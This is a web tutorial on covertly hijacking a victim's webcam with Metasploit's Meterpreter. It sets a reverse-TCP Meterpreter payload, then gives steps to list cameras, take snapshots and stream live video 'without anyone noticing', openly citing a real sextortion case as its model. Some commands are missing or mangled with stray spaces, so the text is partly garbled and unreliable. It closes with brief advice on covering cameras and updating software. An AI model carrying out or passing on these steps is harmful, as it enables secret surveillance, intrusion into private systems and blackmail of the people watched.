In this tutorial we will see how we can hack webcams secretly and remotely on the Internet and take a look at what is happening on the other side. We will use the powerful Meterpreter and Kali Linux to hack the victim’s webcam.
We’re going to take full control of the webcam, turn it on, get snapshots, and even stream live video without anyone noticing.
In early 2014, a hacker was sentenced to 18 months for doing this at Miss Teen USA 2013. He found a vulnerability in his computer (like outdated software), took some compromising photos from the webcam, and blackmailed the victim. to send more. Pictures. The method he used is exactly what we are going to try here.
Our best friend meterpreter will help us with this hack. With Meterpreter , we can control someone’s webcam, install a keylogger or crash your own viruses, steal private data and do just about anything on the victim’s computer.
For this tutorial, I assume that you have already used an attack module to exploit a vulnerability using Metasploit (How to do this?). Now let’s go.
How to hack webcams remotely?
Step 1: Configure meterpreter
After successfully exploiting the victim, we now have the option to define a payload of our choice. The payload tells metasploit what to do on the victim’s computer once they have entered. Meterpreter is our payload. The following command sets up our payload:
set payload windows / meterpreter / reverse_tcp
If the attack was successful, metasploit automatically installs meterpreter on the target system and we can proceed to hack the webcam .
Step 2: Find the webcam
Meterpreter has an integrated module to find and control the webcam of the remote system. We can start by looking if the system even has a webcam or not. The command below is used for this, it also returns the name of the webcam.
And now you should see your target webcam (s) listed in the output.
Step 3: Take Snapshots
If the last order gave us a webcam we can go ahead and take a picture:
And now you should see an image has been saved to the folder / opt / framework3 / msf3 Just go there
Step 4: Stream real-time video from the hacked webcam
We just took a picture, let’s see how to get a live video stream. We can do this by typing the command below: (We use the -p parameter to specify the directory we want to give to the video broadcast file)
meterpreter> run webcam -p / var / www
This command triggers the victim’s webcam and sends their video output to /var/www/webcam.htm. You can open this file and check out what’s going on at the other end in a live video stream.
How to prevent your own webcam from being hacked?
There are several ways to hack webcams . In the example above, with just a few small commands, we can take a look at our victim’s webcam. Any seasoned security expert will tell you that no system is completely secure.
This is why you should always keep your cameras covered when not in use. Personally, I use this little gadget on my laptop and my smartphone.
But that doesn’t mean you shouldn’t worry about keeping your operating system and applications up to date, quite the contrary. If a hacker can take control of your webcam, your system has been successfully exploited, it has effectively become a bot, a slave to the attacker.
This means that the attacker can do anything on your system: access your private data, see everything you type, and all the websites you visit.
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